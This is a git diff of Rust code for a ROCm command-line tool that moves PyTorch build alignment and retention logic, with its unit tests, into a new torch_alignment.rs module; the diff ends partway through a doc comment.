runtime_id={runtime_key} torch_alignment=disabled kept={kept} wanted={wanted}" - ), - ), - TorchAlignment::NotApplicable(reason) => ( - "info", - format!( - "engine={engine} runtime_id={runtime_key} torch_alignment=not_applicable: {reason}" - ), - ), - }; - record_cli_audit_event(paths, "engine", "torch_alignment", level, message, None); - outcome -} - -/// The package the runtime now deliberately diverges on, if any, so the -/// dependency check can tell that divergence apart from a real violation. -/// -/// Both `Realigned` and `AlreadyAligned` diverge from the engine's exact pin — -/// the second is a rerun over a runtime already put right, which is the normal -/// state on every refresh after the first. -/// -/// `Disabled` counts for the same reason, from the other direction: the torch -/// that does not satisfy the pin is the one the user told us to leave alone, so -/// reporting it as a violation would answer their instruction with an error and -/// a `--reinstall` remedy that would undo it. It is only ever constructed over a -/// real mismatch, so this never suppresses a divergence that is not there. -/// -/// `Unavailable` and `InstallFailed` stay excluded. Nothing was replaced there -/// either, but nothing was intended either — the repair was attempted and did -/// not happen — so whatever the dependency check finds is a real finding. -const fn deliberately_diverged_package(outcome: &TorchAlignment) -> Option<&'static str> { - match outcome { - TorchAlignment::Realigned { .. } - | TorchAlignment::AlreadyAligned { .. } - | TorchAlignment::Disabled { .. } => Some("torch"), - TorchAlignment::Unavailable { .. } - | TorchAlignment::InstallFailed { .. } - | TorchAlignment::NotApplicable(_) => None, - } -} - /// Whether the installed runtime can actually run work on a GPU. /// /// The dependency check answers whether the engine's declared requirements are @@ -943,171 +527,6 @@ fn report_runtime_device_check( outcome } -/// The build identifier of the torch that belongs to this runtime's SDK. -/// -/// Taken from the manifest, never from whatever torch happens to be installed. -/// The environment tells you what is there now, which after an engine install is -/// the engine's build — trusting that would let a runtime already holding the -/// wrong torch declare itself correct and never recover. -/// -/// Older manifests predate the recorded value, so fall back to deriving it from -/// the SDK version, which is how TheRock names these builds. -fn sdk_torch_build_for_key(paths: &AppPaths, runtime_key: &str) -> Option { - let manifests = therock::load_runtime_manifests(paths).ok()?; - let manifest = runtime_manifest_for_selector(&manifests, runtime_key)?; - sdk_torch_build_from_manifest(manifest) -} - -/// The build identifier one manifest names, with the fallback for older manifests. -/// -/// Split out from the lookup so the decision can be tested without a registry on -/// disk: the lookup is a directory scan, but this is the part that has to be right -/// for a runtime already stuck on the engine's build to recover. -fn sdk_torch_build_from_manifest(manifest: &therock::InstalledRuntimeManifest) -> Option { - if let Some(recorded) = manifest.sdk_torch.as_deref() - && let Some(build) = therock::split_local_version(recorded).1 - { - return Some(build.to_owned()); - } - let version = manifest - .rocm_sdk - .as_ref() - .and_then(|probe| probe.rocm_sdk_version.clone()) - .unwrap_or_else(|| manifest.version.clone()); - (!version.trim().is_empty()).then(|| format!("rocm{version}")) -} - -/// Which torch a runtime keeps once one of them has run a GPU kernel. -/// -/// Exactly two builds are allowed to stand: the engine's own exact pin, and the -/// SDK's build of the release it pins. Both are states this tool produces on -/// purpose, and each is a fixed point — a rerun over either one keeps it and -/// installs nothing, which is what stops `--reinstall` from oscillating between -/// the two package sources. Anything else is repaired by `TorchAlignment`. -#[derive(Debug, Clone, PartialEq, Eq)] -enum TorchRetention { - /// The engine's exact pin ran a kernel. It satisfies the pin, so it diverges - /// from nothing and the dependency check is read straight. - EngineBuild { version: String }, - /// The SDK's build of the pinned release ran. The engine's pin stays - /// deliberately unsatisfied, which the dependency check is told to expect. - SdkBuild { version: String }, - /// Nothing here has been shown to work: align, then look again. - Realign, -} - -/// Decide retention from the torch that actually executed a kernel. -/// -/// The version compared is the one the running interpreter reported, not the one -/// distribution metadata claims: the build that ran is the build being kept. The -/// engine's pin is checked first, so a pin that already names the SDK's build is -/// reported as satisfied rather than as an intended divergence from itself. -fn classify_retained_torch( - sdk_build: Option<&str>, - devices: &RuntimeDeviceCheck, - engine_requirement: Option<&str>, -) -> TorchRetention { - // Only a kernel that ran earns retention. Every other verdict — no devices, - // a failed launch, or no answer at all — goes to the repair path, which is - // also what this tool did before it could tell those apart. - let RuntimeDeviceCheck::Usable { torch_version, .. } = devices else { - return TorchRetention::Realign; - }; - let Some(pinned) = engine_requirement.and_then(therock::requirement_pinned_version) else { - return TorchRetention::Realign; - }; - if torch_version.as_str() == pinned { - return TorchRetention::EngineBuild { - version: torch_version.clone(), - }; - } - let Some(sdk_build) = sdk_build else { - return TorchRetention::Realign; - }; - // The same version `plan_torch_alignment` would install, so the state that - // repair produces is the state recognised here on the next run. - let sdk_torch = format!("{}+{sdk_build}", therock::split_local_version(pinned).0); - if torch_version.as_str() == sdk_torch { - return TorchRetention::SdkBuild { - version: torch_version.clone(), - }; - } - TorchRetention::Realign -} - -/// The package a retained torch deliberately diverges on, if any. -/// -/// The SDK's build does not satisfy the engine's exact pin and is kept anyway; -/// the engine's own build satisfies it, so claiming a divergence there would -/// suppress a violation that has not happened. -const fn retained_diverged_package(retention: &TorchRetention) -> Option<&'static str> { - match retention { - TorchRetention::SdkBuild { .. } => Some("torch"), - TorchRetention::EngineBuild { .. } | TorchRetention::Realign => None, - } -} - -/// Render a retention as the `torch_alignment:` block, in place of an alignment. -/// -/// `Realign` renders nothing: nothing was retained, and `render_torch_alignment` -/// prints the block for the repair that runs instead. -fn render_torch_retention(retention: &TorchRetention, engine: &str) -> String { - let mut output = String::new(); - match retention { - TorchRetention::EngineBuild { version } => { - let _ = writeln!( - output, - " torch_alignment: retained_engine_build ({})", - sanitize_log_value(version) - ); - let _ = writeln!( - output, - " the torch {} pins ran a GPU kernel with this SDK", - sanitize_log_value(engine) - ); - } - TorchRetention::SdkBuild { version } => { - let _ = writeln!( - output, - " torch_alignment: retained_sdk_build ({})", - sanitize_log_value(version) - ); - let _ = writeln!( - output, - " the SDK's build of the release {} pins ran a GPU kernel", - sanitize_log_value(engine) - ); - } - TorchRetention::Realign => {} - } - output -} - -/// Print the retention block and record it. `Realign` records nothing. -fn report_torch_retention( - paths: &AppPaths, - engine: &str, - runtime_key: &str, - retention: &TorchRetention, -) { - print!("{}", render_torch_retention(retention, engine)); - let (state, version) = match retention { - TorchRetention::EngineBuild { version } => ("retained_engine_build", version), - TorchRetention::SdkBuild { version } => ("retained_sdk_build", version), - TorchRetention::Realign => return, - }; - record_cli_audit_event( - paths, - "engine", - "torch_alignment", - "info", - format!( - "engine={engine} runtime_id={runtime_key} torch_alignment={state} version={version}" - ), - None, - ); -} - /// Whether this host has a GPU at all, answered by inspecting the host itself. /// /// Deliberately independent of the runtime under test: the runtime reporting no @@ -1559,8 +978,7 @@ pub(crate) mod tests { use super::*; use crate::test_support::write_test_pip_runtime; use crate::tests::{ - NEW_RUNTIME_KEY, OLD_RUNTIME_KEY, ScopedTestEnv, plant_service_record_on_runtime, - test_app_paths, test_paths, test_runtime_manifest_for_update, + NEW_RUNTIME_KEY, OLD_RUNTIME_KEY, plant_service_record_on_runtime, test_paths, }; use anyhow::Context as _; use clap::Parser as _; @@ -1764,58 +1182,6 @@ pub(crate) mod tests { assert!(matches!(outcome, EngineDependencyCheck::Violated { .. })); } - /// The engine's build enumerates no devices against the installed SDK. - /// - /// Observed on MI300X: the engine pins a torch built for a different ROCm - /// version, installs it over the SDK's, and the runtime then reports zero - /// devices. The release is right; only the build is wrong. - #[test] - fn the_engines_build_is_replaced_by_the_sdk_build_of_the_same_release() { - let plan = plan_torch_alignment( - Some("rocm7.13.0"), - Some("2.11.0+gitd0c8b1f"), - Some("torch==2.11.0+gitd0c8b1f"), - "vllm", - ); - - assert_eq!( - plan, - TorchAlignmentPlan::Install { - wanted: "2.11.0+rocm7.13.0".to_owned(), - from: "2.11.0+gitd0c8b1f".to_owned(), - } - ); - } - - /// The SDK picked a torch *release* the engine does not accept. - /// - /// The mirror-image failure: here the SDK's own choice is the wrong one, and - /// simply keeping it would break the engine. The rule takes the release the - /// engine pins while still keeping the SDK's build of it — so neither the - /// engine's build nor the SDK's release selection wins outright. - #[test] - fn the_sdks_release_is_corrected_to_the_one_the_engine_pins() { - // The installed torch already carries the SDK's build, so the build is not - // what is wrong here — the release is. Pinning it needs the two sides to - // disagree on the release and agree on the build, which is the opposite of - // the case above; identical arguments to it would only restate that one. - let plan = plan_torch_alignment( - Some("rocm7.14.0a20260611"), - Some("2.11.0+rocm7.14.0a20260611"), - Some("torch==2.10.0+git8514f05"), - "vllm", - ); - - assert_eq!( - plan, - TorchAlignmentPlan::Install { - wanted: "2.10.0+rocm7.14.0a20260611".to_owned(), - from: "2.11.0+rocm7.14.0a20260611".to_owned(), - }, - "the engine's release must win while the SDK's build is kept" - ); - } - #[test] fn an_install_is_failed_only_when_it_left_a_runtime_that_cannot_serve() { let no_devices = RuntimeDeviceCheck::NoDevices { @@ -1944,179 +1310,6 @@ pub(crate) mod tests { assert!(rendered.contains("no kernel image for this GPU")); } - /// The engine's own pin runs: keep it, and claim no divergence from it. - #[test] - fn a_working_engine_torch_is_kept_instead_of_realigned() { - let retention = classify_retained_torch( - Some("rocm7.13.0"), - &RuntimeDeviceCheck::Usable { - device_count: 1, - torch_version: "2.11.0+gitd0c8b1f".to_owned(), - }, - Some("torch==2.11.0+gitd0c8b1f"), - ); - - assert_eq!( - retention, - TorchRetention::EngineBuild { - version: "2.11.0+gitd0c8b1f".to_owned(), - } - ); - assert_eq!(retained_diverged_package(&retention), None); - let rendered = render_torch_retention(&retention, "vllm"); - assert!( - rendered.contains(" torch_alignment: retained_engine_build (2.11.0+gitd0c8b1f)\n") - ); - assert!(rendered.contains("ran a GPU kernel with this SDK")); - } - - /// The SDK's build of the pinned release runs: keep it, and expect the pin to - /// stay unsatisfied so the dependency check does not report it as a violation. - #[test] - fn a_working_sdk_torch_is_kept_as_an_intended_divergence() { - let retention = classify_retained_torch( - Some("rocm7.13.0"), - &RuntimeDeviceCheck::Usable { - device_count: 8, - torch_version: "2.11.0+rocm7.13.0".to_owned(), - }, - Some("torch==2.11.0+gitd0c8b1f"), - ); - - assert_eq!( - retention, - TorchRetention::SdkBuild { - version: "2.11.0+rocm7.13.0".to_owned(), - } - ); - assert_eq!(retained_diverged_package(&retention), Some("torch")); - let rendered = render_torch_retention(&retention, "vllm"); - assert!(rendered.contains(" torch_alignment: retained_sdk_build (2.11.0+rocm7.13.0)\n")); - assert!(rendered.contains("the SDK's build of the release vllm pins ran a GPU kernel")); - } - - /// Both intended builds are fixed points, so a repeated install settles rather - /// than swapping torch back and forth between the two package sources. - #[test] - fn repairing_a_runtime_converges_on_one_of_the_two_intended_builds() { - let after_engine_install = classify_retained_torch( - Some("rocm7.13.0"), - &RuntimeDeviceCheck::Usable { - device_count: 1, - torch_version: "2.11.0+gitd0c8b1f".to_owned(), - }, - Some("torch==2.11.0+gitd0c8b1f"), - ); - // What the realignment installs, seen on the next run over the same runtime. - let after_realignment = classify_retained_torch( - Some("rocm7.13.0"), - &RuntimeDeviceCheck::Usable { - device_count: 1, - torch_version: "2.11.0+rocm7.13.0".to_owned(), - }, - Some("torch==2.11.0+gitd0c8b1f"), - ); - - assert!(!matches!(after_engine_install, TorchRetention::Realign)); - assert!(!matches!(after_realignment, TorchRetention::Realign)); - } - - /// A pin that already names the SDK's build satisfies itself. Calling that an - /// intended divergence would suppress a violation that has not happened. - #[test] - fn a_pin_that_already_names_the_sdk_build_diverges_from_nothing() { - let retention = classify_retained_torch( - Some("rocm7.13.0"), - &RuntimeDeviceCheck::Usable { - device_count: 1, - torch_version: "2.11.0+rocm7.13.0".to_owned(), - }, - Some("torch==2.11.0+rocm7.13.0"), - ); - - assert_eq!( - retention, - TorchRetention::EngineBuild { - version: "2.11.0+rocm7.13.0".to_owned(), - } - ); - assert_eq!(retained_diverged_package(&retention), None); - } - - /// Everything that has not been shown to work goes to the repair path — which - /// is what this tool did unconditionally before it could test a kernel. - #[test] - fn a_torch_that_has_not_been_shown_to_work_is_realigned() { - let usable = |version: &str| RuntimeDeviceCheck::Usable { - device_count: 1, - torch_version: version.to_owned(), - }; - let pin = Some("torch==2.11.0+gitd0c8b1f"); - - // A third build nobody here installed on purpose. - assert_eq!( - classify_retained_torch(Some("rocm7.13.0"), &usable("2.9.0+cpu"), pin), - TorchRetention::Realign - ); - // No devices at all, whatever build it is. - assert_eq!( - classify_retained_torch( - Some("rocm7.13.0"), - &RuntimeDeviceCheck::NoDevices { - torch_version: "2.11.0+gitd0c8b1f".to_owned(), - hip_version: "7.13.0".to_owned(), - }, - pin - ), - TorchRetention::Realign - ); - // A device that cannot run a kernel is never retained, not even when it - // holds exactly the build the engine pins. - assert_eq!( - classify_retained_torch( - Some("rocm7.13.0"), - &RuntimeDeviceCheck::KernelFailed { - torch_version: "2.11.0+gitd0c8b1f".to_owned(), - error: "device kernel image is invalid".to_owned(), - }, - pin - ), - TorchRetention::Realign - ); - // No answer is not an answer. - assert_eq!( - classify_retained_torch( - Some("rocm7.13.0"), - &RuntimeDeviceCheck::NotVerified("torch did not import".to_owned()), - pin - ), - TorchRetention::Realign - ); - // Nothing pins torch, so there is no release to hold either build of. - assert_eq!( - classify_retained_torch(Some("rocm7.13.0"), &usable("2.11.0+gitd0c8b1f"), None), - TorchRetention::Realign - ); - // A range is not an exact pin, so it cannot identify the engine's build. - assert_eq!( - classify_retained_torch( - Some("rocm7.13.0"), - &usable("2.11.0+gitd0c8b1f"), - Some("torch>=2.10") - ), - TorchRetention::Realign - ); - // The manifest does not say what the SDK's build is, so a torch that is - // not the engine's pin cannot be recognised as the other intended one. - assert_eq!( - classify_retained_torch(None, &usable("2.11.0+rocm7.13.0"), pin), - TorchRetention::Realign - ); - // Nothing is retained, so nothing is reported in place of the repair. - assert!(render_torch_retention(&TorchRetention::Realign, "vllm").is_empty()); - assert_eq!(retained_diverged_package(&TorchRetention::Realign), None); - } - fn sdk_install_finalization() -> SdkInstallFinalization { SdkInstallFinalization { runtime_key: "wheel-gfx942-7.13.0".to_owned(), @@ -2227,153 +1420,6 @@ pub(crate) mod tests { ))); } - #[test] - fn an_install_failure_is_not_reported_as_a_missing_wheel() { - // Saying "the index publishes no such build" over a network or disk error - // sends the reader hunting for a wheel that exists. Anything the resolver - // did not actually attribute to a missing version degrades to the honest - // answer: the failure, verbatim. - assert!(!install_error_reports_version_unavailable( - "failed to launch uv: Permission denied" - )); - assert!(!install_error_reports_version_unavailable( - "error sending request: dns error: failed to lookup address" - )); - assert!(install_error_reports_version_unavailable( - "No solution found when resolving: torch==2.10.0+rocm7.14.0a20260611" - )); - } - - #[test] - fn an_unresolvable_version_still_reads_as_unavailable() { - let rendered = render_torch_alignment( - &TorchAlignment::Unavailable { - wanted: "2.10.0+rocm7.14.0a20260611".to_owned(), - kept: "2.10.0+git8514f05".to_owned(), - }, - "vllm", - None, - ); - - assert!(rendered.contains(" torch_alignment: unavailable\n")); - assert!(rendered.contains("publishes no 2.10.0+rocm7.14.0a20260611")); - } - - #[test] - fn a_failed_realignment_reports_the_error_it_actually_hit() { - let rendered = render_torch_alignment( - &TorchAlignment::InstallFailed { - wanted: "2.11.0+rocm7.13.0".to_owned(), - kept: "2.11.0+gitd0c8b1f".to_owned(), - error: "failed to launch uv: Permission denied".to_owned(), - }, - "vllm", - None, - ); - - assert!(rendered.contains(" torch_alignment: install_failed\n")); - assert!(rendered.contains("Permission denied")); - assert!( - !rendered.contains("publishes no"), - "an install failure must not be described as a missing wheel: {rendered}" - ); - } - - #[test] - fn a_realigned_runtime_names_both_builds_and_the_engine_that_decided_the_release() { - // The line a successful run actually prints, and the one a user reads when - // deciding whether the divergence reported just below it is expected. - let rendered = render_torch_alignment( - &TorchAlignment::Realigned { - from: "2.11.0+gitd0c8b1f".to_owned(), - to: "2.11.0+rocm7.13.0".to_owned(), - }, - "vllm", - None, - ); - - assert!(rendered.contains(" torch_alignment: realigned\n")); - assert!(rendered.contains("2.11.0+gitd0c8b1f -> 2.11.0+rocm7.13.0")); - assert!( - rendered.contains("the release vllm pins"), - "the engine that pinned the release is named rather than left anonymous: {rendered}" - ); - } - - #[test] - fn a_realignment_reports_what_the_runtime_could_do_before_it() { - // The whole point of the line: the device_check printed afterwards is the - // after state, so without this one a realignment that ends badly does not - // say whether it broke a working runtime or repaired a broken one. Here it - // repaired one, and the output says so without anyone visiting the machine. - let rendered = render_torch_alignment( - &TorchAlignment::Realigned { - from: "2.11.0+rocm7.14.0".to_owned(), - to: "2.11.0+rocm7.13.0".to_owned(), - }, - "vllm", - Some(&RuntimeDeviceCheck::KernelFailed { - torch_version: "2.11.0+rocm7.14.0".to_owned(), - error: "HIP error: hipErrorInvalidImage".to_owned(), - }), - ); - - assert!( - rendered.contains("before this replacement: kernel_failed (torch 2.11.0+rocm7.14.0)"), - "the before verdict names itself and the torch it judged: {rendered}" - ); - assert!( - rendered.contains("device_check below is after it"), - "the reader is told which of the two blocks is which: {rendered}" - ); - } - - #[test] - fn only_a_realignment_reports_a_before_verdict() { - // Every other outcome left the runtime as it was, so the device_check - // below is already about the same torch this block names. A before/after - // pair there would invite reading a change into an outcome that made none. - let before = RuntimeDeviceCheck::Usable { - device_count: 1, - torch_version: "2.11.0+rocm7.13.0".to_owned(), - }; - - for outcome in [ - TorchAlignment::AlreadyAligned { - version: "2.11.0+rocm7.13.0".to_owned(), - }, - TorchAlignment::Disabled { - wanted: "2.11.0+rocm7.13.0".to_owned(), - kept: "2.9.0+cpu".to_owned(), - }, - TorchAlignment::Unavailable { - wanted: "2.11.0+rocm7.13.0".to_owned(), - kept: "2.11.0+gitd0c8b1f".to_owned(), - }, - ] { - let rendered = render_torch_alignment(&outcome, "vllm", Some(&before)); - assert!( - !rendered.contains("before this replacement"), - "{outcome:?} replaced nothing: {rendered}" - ); - } - } - - #[test] - fn an_already_aligned_runtime_reports_the_version_it_kept() { - // Every refresh after the first lands here, so this is the most frequently - // printed of the five outcomes. - let rendered = render_torch_alignment( - &TorchAlignment::AlreadyAligned { - version: "2.11.0+rocm7.13.0".to_owned(), - }, - "vllm", - None, - ); - - assert!(rendered.contains(" torch_alignment: already_aligned (2.11.0+rocm7.13.0)\n")); - } - #[test] fn a_managed_python_runtime_is_settled() { assert!(settles_runtime_torch("vllm", Some(true))); @@ -2398,271 +1444,6 @@ pub(crate) mod tests { assert!(!settles_runtime_torch("lemonade", Some(true))); } - #[test] - fn an_already_correct_runtime_is_left_alone() { - let plan = plan_torch_alignment( - Some("rocm7.13.0"), - Some("2.11.0+rocm7.13.0"), - Some("torch==2.11.0+gitd0c8b1f"), - "vllm", - ); - - assert_eq!( - plan, - TorchAlignmentPlan::AlreadyAligned { - version: "2.11.0+rocm7.13.0".to_owned() - } - ); - } - - #[test] - fn a_loose_torch_requirement_is_not_second_guessed() { - // Without an exact pin there is no release to carry over, so the engine's - // resolution stands rather than being overridden on a guess. - let plan = plan_torch_alignment( - Some("rocm7.13.0"), - Some("2.11.0+gitd0c8b1f"), - Some("torch>=2.10"), - "vllm", - ); - - assert!( - matches!(plan, TorchAlignmentPlan::NotApplicable(reason) if reason.contains("exact")), - "a non-pinned requirement must be left alone" - ); - } - - #[test] - fn an_unidentified_sdk_build_is_not_acted_on() { - // Nothing to carry over, so guessing a build would be worse than doing - // nothing and letting the device check report the result. - let plan = plan_torch_alignment( - None, - Some("2.11.0+gitd0c8b1f"), - Some("torch==2.11.0+gitd0c8b1f"), - "vllm", - ); - - assert!(matches!(plan, TorchAlignmentPlan::NotApplicable(_))); - } - - /// The build comes from the manifest, not from whatever torch is installed. - /// - /// This is what makes a runtime already overwritten by the engine recoverable: - /// reading the environment would call the engine's build the SDK's and leave the - /// runtime broken for good. `plan_torch_alignment` takes the build as an opaque - /// argument, so the property lives here, in the lookup that produces it. - #[test] - fn the_sdk_build_is_read_from_the_manifest_not_the_environment() { - let mut manifest = - test_runtime_manifest_for_update("wheel-gfx94x", "gfx94x", "gfx94x-dcgpu", "7.13.0"); - manifest.sdk_torch = Some("2.11.0+rocm7.13.0".to_owned()); - - assert_eq!( - sdk_torch_build_from_manifest(&manifest).as_deref(), - Some("rocm7.13.0"), - "the recorded SDK torch names the build" - ); - } - - /// Manifests written before `sdk_torch` existed still have to yield a build. - /// - /// These are the runtimes already on real machines, so this fallback is the - /// repair path rather than a nicety. TheRock names the build `rocm`. - #[test] - fn a_manifest_without_a_recorded_torch_derives_the_build_from_the_sdk_version() { - let manifest = - test_runtime_manifest_for_update("wheel-gfx94x", "gfx94x", "gfx94x-dcgpu", "7.13.0"); - assert!( - manifest.sdk_torch.is_none(), - "this test is about the pre-change manifest shape" - ); - - assert_eq!( - sdk_torch_build_from_manifest(&manifest).as_deref(), - Some("rocm7.13.0") - ); - } - - /// A dated alpha carries its date into the build, and must not be trimmed. - /// - /// Nightly SDKs version as `7.14.0a20260812`, and TheRock's torch for one is - /// `+rocm7.14.0a20260812` — the date is part of the build, not decoration on - /// the version. Shortening it to the `7.14.0` release would name a build that - /// exists for a different SDK, so the alignment would install a torch built - /// against libraries the runtime does not have. The fallback is a whole-string - /// interpolation today; this pins that, because the tempting "clean up the - /// version first" refactor is the one that breaks every nightly runtime. - #[test] - fn a_dated_alpha_sdk_keeps_its_date_in_the_derived_build() { - let manifest = test_runtime_manifest_for_update( - "wheel-gfx94x", - "gfx94x", - "gfx94x-dcgpu", - "7.14.0a20260812", - ); - assert!( - manifest.sdk_torch.is_none(), - "this test is about the pre-change manifest shape" - ); - - assert_eq!( - sdk_torch_build_from_manifest(&manifest).as_deref(), - Some("rocm7.14.0a20260812") - ); - } - - /// A manifest that names no version at all must not invent a build. - #[test] - fn a_manifest_with_no_version_identifies_no_build() { - let mut manifest = - test_runtime_manifest_for_update("wheel-gfx94x", "gfx94x", "gfx94x-dcgpu", " "); - manifest.sdk_torch = None; - - assert_eq!(sdk_torch_build_from_manifest(&manifest), None); - } - - /// A torch the user installed themselves is kept, and named as kept. - /// - /// The Python does not exist and an index is supplied, so an alignment that - /// still ran would reach the install and come back `InstallFailed`. Getting - /// the divergence described instead — the build that was not installed, and - /// the one still there — is what shows the rewrite was skipped rather than - /// attempted and then reported differently. - #[test] - fn disabling_alignment_keeps_the_installed_torch_and_says_what_it_declined() { - let mut env = ScopedTestEnv::new(); - env.set("ROCM_CLI_DISABLE_TORCH_ALIGNMENT", "1"); - let probe = therock::TorchAlignmentProbe { - installed_torch: Some("2.9.0+cpu".to_owned()), - engine_requires_torch: Some("torch==2.11.0+gitd0c8b1f".to_owned()), - }; - - let outcome = align_runtime_torch( - &test_app_paths(), - Path::new("/nonexistent/python"), - Some("https://example.invalid/simple"), - Some("rocm7.13.0"), - "vllm", - Ok(&probe), - ); - - assert_eq!( - outcome, - TorchAlignment::Disabled { - wanted: "2.11.0+rocm7.13.0".to_owned(), - kept: "2.9.0+cpu".to_owned(), - } - ); - } - - /// Unset, the rewrite is attempted as usual. - /// - /// Paired with the test above so the opt-out cannot appear to work for an - /// unrelated reason. The index is withheld here on purpose: it is the first - /// thing read after the gate, so the call stops there rather than reaching a - /// real install, and the outcome still tells the two paths apart. - #[test] - fn alignment_runs_unless_the_variable_is_set() { - let mut env = ScopedTestEnv::new(); - env.clear("ROCM_CLI_DISABLE_TORCH_ALIGNMENT"); - let probe = therock::TorchAlignmentProbe { - installed_torch: Some("2.9.0+cpu".to_owned()), - engine_requires_torch: Some("torch==2.11.0+gitd0c8b1f".to_owned()), - }; - - let outcome = align_runtime_torch( - &test_app_paths(), - Path::new("/nonexistent/python"), - None, - Some("rocm7.13.0"), - "vllm", - Ok(&probe), - ); - - assert_eq!( - outcome, - TorchAlignment::NotApplicable( - "the runtime manifest records no wheel index to install from".to_owned() - ), - "the opt-out must not fire when the variable is unset" - ); - } - - /// Opting out of a rewrite that was never due reports the runtime as it is. - /// - /// `Disabled` says a replacement was declined. On a runtime already holding - /// the SDK's build there was none to decline, and saying otherwise would send - /// the reader looking for a torch that was spared when nothing was. - #[test] - fn disabling_alignment_over_an_aligned_runtime_still_reports_it_aligned() { - let mut env = ScopedTestEnv::new(); - env.set("ROCM_CLI_DISABLE_TORCH_ALIGNMENT", "1"); - let probe = therock::TorchAlignmentProbe { - installed_torch: Some("2.11.0+rocm7.13.0".to_owned()), - engine_requires_torch: Some("torch==2.11.0+gitd0c8b1f".to_owned()), - }; - - let outcome = align_runtime_torch( - &test_app_paths(), - Path::new("/nonexistent/python"), - Some("https://example.invalid/simple"), - Some("rocm7.13.0"), - "vllm", - Ok(&probe), - ); - - assert_eq!( - outcome, - TorchAlignment::AlreadyAligned { - version: "2.11.0+rocm7.13.0".to_owned(), - } - ); - } - - /// The kept torch is a deliberate divergence, and the remedy is not reinstall. - /// - /// The engine's pin is unsatisfied on purpose here, so reporting a violation - /// would answer the user's instruction with an error — and the remedy that - /// comes with it, `--reinstall`, is the one action that would undo the very - /// decision they made. - #[test] - fn a_disabled_alignment_diverges_on_torch_without_offering_a_reinstall() { - let outcome = TorchAlignment::Disabled { - wanted: "2.11.0+rocm7.13.0".to_owned(), - kept: "2.9.0+cpu".to_owned(), - }; - assert_eq!(deliberately_diverged_package(&outcome), Some("torch")); - - let rendered = render_torch_alignment(&outcome, "vllm", None); - assert!( - rendered.contains(" torch_alignment: disabled\n"), - "the block has to name the state, got {rendered:?}" - ); - assert!( - rendered.contains( - "ROCM_CLI_DISABLE_TORCH_ALIGNMENT is set; keeping 2.9.0+cpu rather than installing 2.11.0+rocm7.13.0" - ), - "the block has to name the variable and both builds, got {rendered:?}" - ); - - let dependencies = classify_dependency_details( - vec![ - "The package `vllm` requires `torch==2.11.0+gitd0c8b1f`, but `2.9.0+cpu` is installed".to_owned(), - ], - deliberately_diverged_package(&outcome), - ); - assert!(matches!( - dependencies, - EngineDependencyCheck::ExpectedDivergence(_) - )); - let rendered = render_engine_dependency_check("vllm", &dependencies); - assert!( - !rendered.contains("--reinstall"), - "the remedy would undo the opt-out, got {rendered:?}" - ); - } - /// Opting out suppresses the correction, not the diagnosis. /// /// The escape hatch exists because the SDK's build does not always work, so it diff --git a/apps/rocm/src/runtime_install_finalize/torch_alignment.rs b/apps/rocm/src/runtime_install_finalize/torch_alignment.rs new file mode 100644 index 0000000000..9fd8621208 --- /dev/null +++ b/apps/rocm/src/runtime_install_finalize/torch_alignment.rs @@ -0,0 +1,1263 @@ +// Copyright © Advanced Micro Devices, Inc., or its affiliates. +// +// SPDX-License-Identifier: MIT + +//! Torch alignment and retention for an engine install on a managed runtime: +//! deciding whether the SDK's torch must be realigned to the engine's pin or +//! kept as an intended divergence, running and reporting the realignment, and +//! reading the runtime's interpreter, library paths, index URL and torch build +//! from its manifest. +//! +//! Relocated from `runtime_install_finalize.rs` with no behavior change. +//! +//! A child of `runtime_install_finalize.rs`: it uses the parent's device check +//! (`RuntimeDeviceCheck`, `device_check_verdict`), which stays there for good. +//! As a crate-level sibling it would form a cycle with the parent, which calls +//! into it from `settle_engine_install` and `maybe_auto_install_sdk_preferred_engine`. + +use std::fmt::Write as _; +use std::path::{Path, PathBuf}; + +use anyhow::Result; +use rocm_core::AppPaths; + +use super::{RuntimeDeviceCheck, device_check_verdict}; +use crate::engines_cmd::runtime_manifest_for_selector; +use crate::therock; +use crate::{record_cli_audit_event, sanitize_log_value}; + +/// The Python interpreter of the managed runtime `runtime_key`, when its manifest names +/// one. Used to check an environment whose engine install did not get far enough to +/// report its own interpreter. +pub(super) fn runtime_python_for_key(paths: &AppPaths, runtime_key: &str) -> Option { + let manifests = therock::load_runtime_manifests(paths).ok()?; + let manifest = runtime_manifest_for_selector(&manifests, runtime_key)?; + manifest.python_executable.as_deref().map(PathBuf::from) +} + +/// The runtime's recorded ROCm library directories. +/// +/// These are what a served process gets on its loader path, so a probe must use +/// them too or it will judge a healthy runtime unusable. +pub(super) fn runtime_library_paths_for_key(paths: &AppPaths, runtime_key: &str) -> Vec { + let Ok(manifests) = therock::load_runtime_manifests(paths) else { + return Vec::new(); + }; + runtime_manifest_for_selector(&manifests, runtime_key) + .and_then(|manifest| manifest.rocm_sdk.as_ref()) + .map(|probe| probe.library_paths.clone()) + .unwrap_or_default() +} + +/// The wheel index the runtime was installed from. +fn runtime_index_url_for_key(paths: &AppPaths, runtime_key: &str) -> Option { + let manifests = therock::load_runtime_manifests(paths).ok()?; + let manifest = runtime_manifest_for_selector(&manifests, runtime_key)?; + manifest.index_url.clone() +} + +/// Which torch a runtime should hold once an engine has been installed into it. +/// +/// Two installers write torch into the same environment. The SDK install writes +/// TheRock's build; the engine then writes the build from its own index, pinned +/// to an exact version. Letting either side win unconditionally is wrong, and +/// both failures have been observed in the field: +/// +/// * If the engine's build always wins, the runtime can end up with a torch that +/// loads against the installed SDK and then enumerates no devices, so serving +/// fails with an unhelpful error long after the install reported success. +/// * If the SDK's build always wins, the runtime can end up on a torch that +/// enumerates a device and still has no kernel image for this exact target, +/// failing on the first tensor operation instead. +/// +/// So compatibility is tested rather than assumed. A torch already executing a +/// GPU kernel with this SDK is kept exactly as it is — that decision is +/// `TorchRetention`, and it runs first. This alignment is the repair for +/// everything else, and what it installs is the SDK's *build* of the *release* +/// the engine pins: the release comes from the engine, which is built against it, +/// and the build comes from the SDK, which the libraries belong to. +#[derive(Debug, Clone, PartialEq, Eq)] +pub(super) enum TorchAlignment { + /// The runtime already holds the SDK build of the engine's torch release. + AlreadyAligned { version: String }, + /// The engine's build was replaced with the SDK build of the same release. + Realigned { from: String, to: String }, + /// The SDK publishes no build of that release; the engine's own is kept. + /// + /// Claimed only when the resolver actually said so. Any other failure is an + /// `InstallFailed`, because asserting "not published" over a network or disk + /// error sends the reader hunting for a missing wheel that exists. + Unavailable { wanted: String, kept: String }, + /// The realignment install failed for some other reason, carried verbatim. + InstallFailed { + wanted: String, + kept: String, + error: String, + }, + /// The user opted out, and a replacement was due: their torch is kept. + /// + /// Distinct from every other outcome because nothing was attempted. Reading + /// it as `NotApplicable` would say the rule had no opinion, when it had one + /// and was told not to act on it, and that difference is what the reader + /// needs: `wanted` is 